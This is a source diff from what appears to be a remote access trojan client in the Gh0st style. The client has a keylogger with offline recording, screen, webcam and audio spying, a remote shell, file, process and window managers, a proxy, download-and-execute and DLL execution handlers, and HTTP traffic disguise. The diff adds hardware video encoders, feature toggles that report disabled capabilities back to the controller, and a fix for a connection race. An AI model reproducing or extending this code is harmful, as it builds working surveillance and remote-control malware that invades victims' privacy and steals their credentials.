||||||
<ClInclude Include="IOCPUDPClient.h" />
|
<ClInclude Include="IOCPUDPClient.h" />
|
||||||
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||||
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
<ClInclude Include="KernelManager.h" />
|
<ClInclude Include="KernelManager.h" />
|
||||||
<ClInclude Include="KeyboardManager.h" />
|
<ClInclude Include="KeyboardManager.h" />
|
||||||
<ClInclude Include="keylogger.h" />
|
<ClInclude Include="keylogger.h" />
|
||||||
|
|||||||
@@ -36,6 +36,9 @@
|
|||||||
<ClCompile Include="TalkManager.cpp" />
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
<ClCompile Include="VideoManager.cpp" />
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
<ClCompile Include="X264Encoder.cpp" />
|
<ClCompile Include="X264Encoder.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegH264Encoder.cpp" />
|
||||||
|
<ClCompile Include="CFFmpegAV1Encoder.cpp" />
|
||||||
|
<ClCompile Include="EncoderFactory.cpp" />
|
||||||
<ClCompile Include="..\common\file_upload.cpp" />
|
<ClCompile Include="..\common\file_upload.cpp" />
|
||||||
<ClCompile Include="ConPTYManager.cpp" />
|
<ClCompile Include="ConPTYManager.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
@@ -81,6 +84,10 @@
|
|||||||
<ClInclude Include="VideoCodec.h" />
|
<ClInclude Include="VideoCodec.h" />
|
||||||
<ClInclude Include="VideoManager.h" />
|
<ClInclude Include="VideoManager.h" />
|
||||||
<ClInclude Include="X264Encoder.h" />
|
<ClInclude Include="X264Encoder.h" />
|
||||||
|
<ClInclude Include="VideoEncoderBase.h" />
|
||||||
|
<ClInclude Include="CFFmpegH264Encoder.h" />
|
||||||
|
<ClInclude Include="CFFmpegAV1Encoder.h" />
|
||||||
|
<ClInclude Include="EncoderFactory.h" />
|
||||||
<ClInclude Include="ConPTYManager.h" />
|
<ClInclude Include="ConPTYManager.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
|||||||
@@ -1,6 +1,7 @@
|
|||||||
#include "StdAfx.h"
|
#include "StdAfx.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
|
|
||||||
|
#include "Manager.h"
|
||||||
#include "ScreenManager.h"
|
#include "ScreenManager.h"
|
||||||
#include "FileManager.h"
|
#include "FileManager.h"
|
||||||
#include "TalkManager.h"
|
#include "TalkManager.h"
|
||||||
|
|||||||
@@ -6,6 +6,8 @@
|
|||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
#include "../common/commands.h"
|
#include "../common/commands.h"
|
||||||
|
|
||||||
|
#if ENABLE_SHELL
|
||||||
|
|
||||||
// Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK)
|
// Define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE if not available (older SDK)
|
||||||
#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE
|
#ifndef PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE
|
||||||
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \
|
#define PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE \
|
||||||
@@ -341,3 +343,4 @@ DWORD WINAPI CConPTYManager::ReadThread(LPVOID lParam)
|
|||||||
Mprintf("[ConPTY] Read thread exited\n");
|
Mprintf("[ConPTY] Read thread exited\n");
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -7,6 +7,11 @@
|
|||||||
#include "Manager.h"
|
#include "Manager.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
|
|
||||||
|
#if ENABLE_SHELL==0
|
||||||
|
#define CConPTYManager CManager
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
// ConPTY API types (dynamically loaded)
|
// ConPTY API types (dynamically loaded)
|
||||||
typedef VOID* HPCON;
|
typedef VOID* HPCON;
|
||||||
typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC);
|
typedef HRESULT (WINAPI *PFN_CreatePseudoConsole)(COORD size, HANDLE hInput, HANDLE hOutput, DWORD dwFlags, HPCON* phPC);
|
||||||
@@ -56,5 +61,6 @@ private:
|
|||||||
// Thread to read from PTY
|
// Thread to read from PTY
|
||||||
static DWORD WINAPI ReadThread(LPVOID lParam);
|
static DWORD WINAPI ReadThread(LPVOID lParam);
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // CONPTYMANAGER_H
|
#endif // CONPTYMANAGER_H
|
||||||
|
|||||||
71
client/EncoderFactory.cpp
Normal file
71
client/EncoderFactory.cpp
Normal file
@@ -0,0 +1,71 @@
|
|||||||
|
#include "EncoderFactory.h"
|
||||||
|
#include "common/config.h"
|
||||||
|
#include "common/logger.h"
|
||||||
|
#include "X264Encoder.h"
|
||||||
|
// 合规守护:DISABLE_FFMPEG_FOR_TEST=1 时硬编实现整体移出工程,仅保留 x264 软编路径
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
#include "CFFmpegH264Encoder.h"
|
||||||
|
#include "CFFmpegAV1Encoder.h"
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace {
|
||||||
|
// 与 ScreenCapture::BitRateToCRF 同步:码率越高 CRF 越低(质量更好)。
|
||||||
|
// 仅 x264 软编路径用,硬编路径直接用 bitrate_kbps 走 CBR。
|
||||||
|
int BitRateToCRF(int bitRate) {
|
||||||
|
if (bitRate <= 0) return 23;
|
||||||
|
if (bitRate >= 3000) return 20;
|
||||||
|
if (bitRate >= 2000) return 20 + (3000 - bitRate) * 3 / 1000;
|
||||||
|
if (bitRate >= 800) return 23 + (2000 - bitRate) * 7 / 1200;
|
||||||
|
return 32;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req) {
|
||||||
|
EncoderParams p;
|
||||||
|
p.width = req.width;
|
||||||
|
p.height = req.height;
|
||||||
|
p.fps = req.fps;
|
||||||
|
|
||||||
|
#if defined(_WIN64) && !DISABLE_FFMPEG_FOR_TEST
|
||||||
|
// AV1 硬编路径(仅当客户端声明支持 AV1 解码)
|
||||||
|
// 硬件门槛高:仅 RTX 40+ / RX 7000+ / Intel Arc 才有 av1 encoder ASIC;
|
||||||
|
// 没合适硬件时 open() 全部失败,自然 fall through 到下面 H.264 路径。
|
||||||
|
if (req.encodeLevel >= LEVEL_AV1_HARD) {
|
||||||
|
auto enc = std::make_unique<CFFmpegAV1Encoder>();
|
||||||
|
p.rc = RateControl::BITRATE;
|
||||||
|
p.bitrate_kbps = req.bitrate_kbps;
|
||||||
|
if (enc->open(p)) {
|
||||||
|
Mprintf("=> encoder: %s (HW AV1, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
Mprintf("=> all AV1 HW backends failed, falling back to H.264\n");
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// H.264 硬编:CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 顺序探
|
||||||
|
if (req.encodeLevel >= LEVEL_H264_HARD) {
|
||||||
|
auto enc = std::make_unique<CFFmpegH264Encoder>();
|
||||||
|
p.rc = RateControl::BITRATE;
|
||||||
|
p.bitrate_kbps = req.bitrate_kbps;
|
||||||
|
if (enc->open(p)) {
|
||||||
|
Mprintf("=> encoder: %s (HW, bitrate=%dk)\n", enc->backendName(), req.bitrate_kbps);
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
Mprintf("=> all H.264 HW backends failed, falling back to x264\n");
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// x264 软编兜底(无硬件 / 全失败 / 虚拟机 / 远程桌面会话场景)
|
||||||
|
if (req.encodeLevel >= LEVEL_H264_SOFT) {
|
||||||
|
auto enc = std::make_unique<CX264Encoder>();
|
||||||
|
p.rc = RateControl::CRF;
|
||||||
|
p.crf = BitRateToCRF(req.bitrate_kbps);
|
||||||
|
if (enc->open(p)) {
|
||||||
|
Mprintf("=> encoder: %s (SW, crf=%d)\n", enc->backendName(), p.crf);
|
||||||
|
return enc;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Mprintf("=> ERROR: no encoder could be opened\n");
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
25
client/EncoderFactory.h
Normal file
25
client/EncoderFactory.h
Normal file
@@ -0,0 +1,25 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "VideoEncoderBase.h"
|
||||||
|
#include "common/commands.h"
|
||||||
|
#include <memory>
|
||||||
|
|
||||||
|
|
||||||
|
// 创建编码器的请求参数。
|
||||||
|
struct EncoderRequest {
|
||||||
|
int width = 0;
|
||||||
|
int height = 0;
|
||||||
|
int fps = 30;
|
||||||
|
int bitrate_kbps = 4000;
|
||||||
|
int encodeLevel = LEVEL_H264_SOFT;
|
||||||
|
};
|
||||||
|
|
||||||
|
// 按客户端能力 + 本机硬件能力创建一个 VideoEncoderBase。
|
||||||
|
//
|
||||||
|
// 探测顺序(第一个 open 成功的就用):
|
||||||
|
// AV1 硬编路径
|
||||||
|
// H.264 硬编(CFFmpegH264Encoder 内部按 nvenc/qsv/amf/mf 探)
|
||||||
|
// x264 软编(CX264Encoder,CPU 兜底)
|
||||||
|
//
|
||||||
|
// 失败路径在日志中可见(Mprintf)。返回 nullptr 仅在 x264 也开不起来时(极少见)。
|
||||||
|
std::unique_ptr<VideoEncoderBase> CreateEncoder(const EncoderRequest& req);
|
||||||
@@ -10,6 +10,8 @@
|
|||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
|
|
||||||
|
#if ENABLE_FILE_MNG
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
DWORD dwSizeHigh;
|
DWORD dwSizeHigh;
|
||||||
DWORD dwSizeLow;
|
DWORD dwSizeLow;
|
||||||
@@ -1186,3 +1188,4 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
|
|||||||
Mprintf("[V2] 连接服务器失败\n");
|
Mprintf("[V2] 连接服务器失败\n");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -1,10 +1,16 @@
|
|||||||
// FileManager.h: interface for the CFileManager class.
|
// FileManager.h: interface for the CFileManager class.
|
||||||
//
|
//
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
#include "Manager.h"
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
#include "common.h"
|
#include "common.h"
|
||||||
typedef IOCPClient CClientSocket;
|
typedef IOCPClient CClientSocket;
|
||||||
|
|
||||||
|
#if ENABLE_FILE_MNG==0
|
||||||
|
#define CFileManager CManager
|
||||||
|
|
||||||
|
#else
|
||||||
|
|
||||||
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
#if !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||||
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
#define AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_
|
||||||
#include <winsock2.h>
|
#include <winsock2.h>
|
||||||
@@ -62,5 +68,6 @@ private:
|
|||||||
HANDLE m_hSearchThread;
|
HANDLE m_hSearchThread;
|
||||||
volatile bool m_bSearching;
|
volatile bool m_bSearching;
|
||||||
};
|
};
|
||||||
|
#endif
|
||||||
|
|
||||||
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
#endif // !defined(AFX_FILEMANAGER_H__359D0039_E61F_46D6_86D6_A405E998FB47__INCLUDED_)
|
||||||
|
|||||||
@@ -218,6 +218,13 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
|
|||||||
m_ServerAddr = {};
|
m_ServerAddr = {};
|
||||||
m_nHostPort = 0;
|
m_nHostPort = 0;
|
||||||
m_Manager = NULL;
|
m_Manager = NULL;
|
||||||
|
// 防御性初始化:避免 Debug build 里 0xcdcdcdcd 堆 fill 让 Receive 线程
|
||||||
|
// 在调用方 setManagerCallBack() 之前就读到野指针。子连接(屏幕/键盘等)
|
||||||
|
// 走 LoopManager 模式时,new IOCPClient → ConnectServer 启动 Receive
|
||||||
|
// worker 与 Manager 构造(内含 setManagerCallBack)之间有 race window;
|
||||||
|
// 这里清零让 Receive 路径有机会 NULL-check 而不是炸在野指针上。
|
||||||
|
m_DataProcess = NULL;
|
||||||
|
m_ReconnectFunc = NULL;
|
||||||
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
|
||||||
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
|
||||||
m_EncoderType = encoder;
|
m_EncoderType = encoder;
|
||||||
@@ -670,9 +677,17 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
|
|||||||
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
|
if (!TryHandleAuthResponse(DeCompressedBuffer, ulOriginalLength)) {
|
||||||
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
//解压好的数据和长度传递给对象Manager进行处理 注意这里是用了多态
|
||||||
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
//由于m_pManager中的子类不一样造成调用的OnReceive函数不一样
|
||||||
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
// 防御 race window:子连接 ConnectServer 触发 Receive 后,
|
||||||
if (ret) {
|
// 调用方 setManagerCallBack() 可能还没执行;丢弃这种早期包
|
||||||
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
// 比让函数指针炸进 0xcdcdcd 强(pre-existing race,详见
|
||||||
|
// 构造函数注释,长期需要在 ConnectServer 前 set callback)
|
||||||
|
if (m_DataProcess == NULL) {
|
||||||
|
Mprintf("[WARN] dropping early packet: setManagerCallBack not yet called\n");
|
||||||
|
} else {
|
||||||
|
int ret = DataProcessWithSEH(m_DataProcess, m_Manager, DeCompressedBuffer, ulOriginalLength);
|
||||||
|
if (ret) {
|
||||||
|
Mprintf("[ERROR] DataProcessWithSEH return exception code: [0x%08X]\n", ret);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -617,14 +617,18 @@ void DownExecute(const std::string &strUrl, CManager *This)
|
|||||||
}
|
}
|
||||||
|
|
||||||
#include "common/location.h"
|
#include "common/location.h"
|
||||||
std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& masterHash)
|
std::string getHardwareIDByCfg(std::string& pwdHash, const std::string& masterHash)
|
||||||
{
|
{
|
||||||
|
iniFile reg;
|
||||||
|
pwdHash = reg.GetStr("settings", "UpperHash", masterHash);
|
||||||
|
|
||||||
config* m_iniFile = nullptr;
|
config* m_iniFile = nullptr;
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
m_iniFile = pwdHash == masterHash ? new config : new iniFile;
|
m_iniFile = pwdHash == masterHash ? new config : new iniFile;
|
||||||
#else
|
#else
|
||||||
m_iniFile = new iniFile;
|
m_iniFile = new iniFile;
|
||||||
#endif
|
#endif
|
||||||
|
pwdHash = m_iniFile->GetStr("settings", "UpperHash", masterHash);
|
||||||
int bindType = m_iniFile->GetInt("settings", "BindType", 0);
|
int bindType = m_iniFile->GetInt("settings", "BindType", 0);
|
||||||
int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0);
|
int hwVersion = m_iniFile->GetInt("settings", "HWIDVersion", 0);
|
||||||
std::string master = m_iniFile->GetStr("settings", "master");
|
std::string master = m_iniFile->GetStr("settings", "master");
|
||||||
@@ -782,6 +786,18 @@ BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user)
|
|||||||
return data != NULL;
|
return data != NULL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 给主控回复功能禁用消息
|
||||||
|
// TODO: 主控收到此消息后,可以选择以插件形式执行该禁用的功能
|
||||||
|
void ResponseDisable(IOCPClient *client, const char* type, LPBYTE data, int size) {
|
||||||
|
char buf[512];
|
||||||
|
sprintf_s(buf, "%s disabled[IP: %s][ID: %s]", type, client->GetPublicIP().c_str(), client->GetClientID().c_str());
|
||||||
|
Mprintf("%s\n", buf);
|
||||||
|
int n = strlen(buf);
|
||||||
|
memcpy(buf + n + 1, data, min(size, 500-n));
|
||||||
|
ClientMsg msg(DISABLED_FEATURE, buf, sizeof(buf));
|
||||||
|
client->Send2Server((char*)&msg, sizeof(msg));
|
||||||
|
}
|
||||||
|
|
||||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||||
@@ -882,18 +898,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
// 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization(约 150 字节)
|
// 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization(约 150 字节)
|
||||||
char buf[400] = {}, *passCode = buf + 5;
|
char buf[400] = {}, *passCode = buf + 5;
|
||||||
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
|
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
|
||||||
std::string masterHash(skCrypt(MASTER_HASH));
|
|
||||||
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
|
||||||
if (passCode[0] == 0) {
|
if (passCode[0] == 0) {
|
||||||
|
std::string pwdHash, masterHash(skCrypt(MASTER_HASH));
|
||||||
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
|
static std::string hardwareId = getHardwareIDByCfg(pwdHash, masterHash);
|
||||||
static std::string hashedID = hashSHA256(hardwareId);
|
static std::string hashedID = hashSHA256(hardwareId);
|
||||||
static std::string devId = getFixedLengthID(hashedID);
|
static std::string devId = getFixedLengthID(hashedID);
|
||||||
memcpy(buf + 24, buf + 12, 8); // 消息签名
|
memcpy(buf + 24, buf + 12, 8); // 消息签名
|
||||||
memcpy(buf + 96, buf + 8, 4); // 时间戳
|
memcpy(buf + 96, buf + 8, 4); // 时间戳
|
||||||
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
|
memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节
|
||||||
memcpy(buf + 32, pwdHash, 64); // 64字节
|
memcpy(buf + 32, pwdHash.c_str(), 64); // 64字节
|
||||||
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||||
Mprintf("Request for authorization update.\n");
|
Mprintf("Request for authorization update. SN: %s, PwdHash: %s\n", devId.c_str(), pwdHash.c_str());
|
||||||
} else {
|
} else {
|
||||||
unsigned short* days = (unsigned short*)(buf + 1);
|
unsigned short* days = (unsigned short*)(buf + 1);
|
||||||
unsigned short* num = (unsigned short*)(buf + 3);
|
unsigned short* num = (unsigned short*)(buf + 3);
|
||||||
@@ -937,6 +952,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case TOKEN_PRIVATESCREEN: {
|
case TOKEN_PRIVATESCREEN: {
|
||||||
|
if (!ENABLE_SCREEN) {
|
||||||
|
return ResponseDisable(m_ClientObject, "PRIVATE_SCREEN", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
char h[100] = {};
|
char h[100] = {};
|
||||||
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
memcpy(h, szBuffer + 1, min(ulLength - 1, 80));
|
||||||
std::string hash = std::string(h, h + 64);
|
std::string hash = std::string(h, h + 64);
|
||||||
@@ -959,6 +977,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_PROXY: {
|
case COMMAND_PROXY: {
|
||||||
|
if (!ENABLE_PROXY) {
|
||||||
|
return ResponseDisable(m_ClientObject, "PROXY", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1049,7 +1070,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
if (m_settings.EnableKBLogger && m_hKeyboard) {
|
if (m_settings.EnableKBLogger && m_hKeyboard) {
|
||||||
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
|
CKeyboardManager1* mgr = (CKeyboardManager1*)m_hKeyboard->user;
|
||||||
mgr->m_bIsOfflineRecord = TRUE;
|
mgr->EnableOfflineRecord(TRUE);
|
||||||
}
|
}
|
||||||
Logger::getInstance().usingLog(m_settings.EnableLog);
|
Logger::getInstance().usingLog(m_settings.EnableLog);
|
||||||
}
|
}
|
||||||
@@ -1064,6 +1085,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case COMMAND_KEYBOARD: { //键盘记录
|
case COMMAND_KEYBOARD: { //键盘记录
|
||||||
|
if (!ENABLE_KEYBOARD) {
|
||||||
|
return ResponseDisable(m_ClientObject, "KEYBOARD", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
if (m_hKeyboard) {
|
if (m_hKeyboard) {
|
||||||
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||||
} else {
|
} else {
|
||||||
@@ -1076,6 +1100,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_TALK: {
|
case COMMAND_TALK: {
|
||||||
|
if (!ENABLE_MESSAGE) {
|
||||||
|
return ResponseDisable(m_ClientObject, "MESSAGE", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1087,6 +1114,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SHELL: {
|
case COMMAND_SHELL: {
|
||||||
|
if (!ENABLE_SHELL) {
|
||||||
|
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1097,6 +1127,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SYSTEM: { //远程进程管理
|
case COMMAND_SYSTEM: { //远程进程管理
|
||||||
|
if (!ENABLE_PROC_WND) {
|
||||||
|
return ResponseDisable(m_ClientObject, "PROCESS", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1107,6 +1140,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WSLIST: { //远程窗口管理
|
case COMMAND_WSLIST: { //远程窗口管理
|
||||||
|
if (!ENABLE_PROC_WND) {
|
||||||
|
return ResponseDisable(m_ClientObject, "WINDOW", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
m_hThread[m_ulThreadCount].p = sub;
|
m_hThread[m_ulThreadCount].p = sub;
|
||||||
@@ -1176,6 +1212,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_SCREEN_SPY: {
|
case COMMAND_SCREEN_SPY: {
|
||||||
|
if (!ENABLE_SCREEN) {
|
||||||
|
return ResponseDisable(m_ClientObject, "SCREEN", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) };
|
||||||
if (ulLength > 1) {
|
if (ulLength > 1) {
|
||||||
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
memcpy(user->buffer, szBuffer + 1, ulLength - 1);
|
||||||
@@ -1192,6 +1231,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_LIST_DRIVE : {
|
case COMMAND_LIST_DRIVE : {
|
||||||
|
if (!ENABLE_FILE_MNG) {
|
||||||
|
return ResponseDisable(m_ClientObject, "FILE", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP, this);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
||||||
@@ -1202,6 +1244,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_WEBCAM: {
|
case COMMAND_WEBCAM: {
|
||||||
|
if (!ENABLE_VIDEO_MNG) {
|
||||||
|
return ResponseDisable(m_ClientObject, "CAMERA", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
static bool hasCamera = WebCamIsExist();
|
static bool hasCamera = WebCamIsExist();
|
||||||
if (!hasCamera) break;
|
if (!hasCamera) break;
|
||||||
{
|
{
|
||||||
@@ -1214,6 +1259,9 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
}
|
}
|
||||||
|
|
||||||
case COMMAND_AUDIO: {
|
case COMMAND_AUDIO: {
|
||||||
|
if (!ENABLE_AUDIO_MNG) {
|
||||||
|
return ResponseDisable(m_ClientObject, "AUDIO", szBuffer + 1, ulLength - 1);
|
||||||
|
}
|
||||||
{
|
{
|
||||||
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
|
||||||
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
|
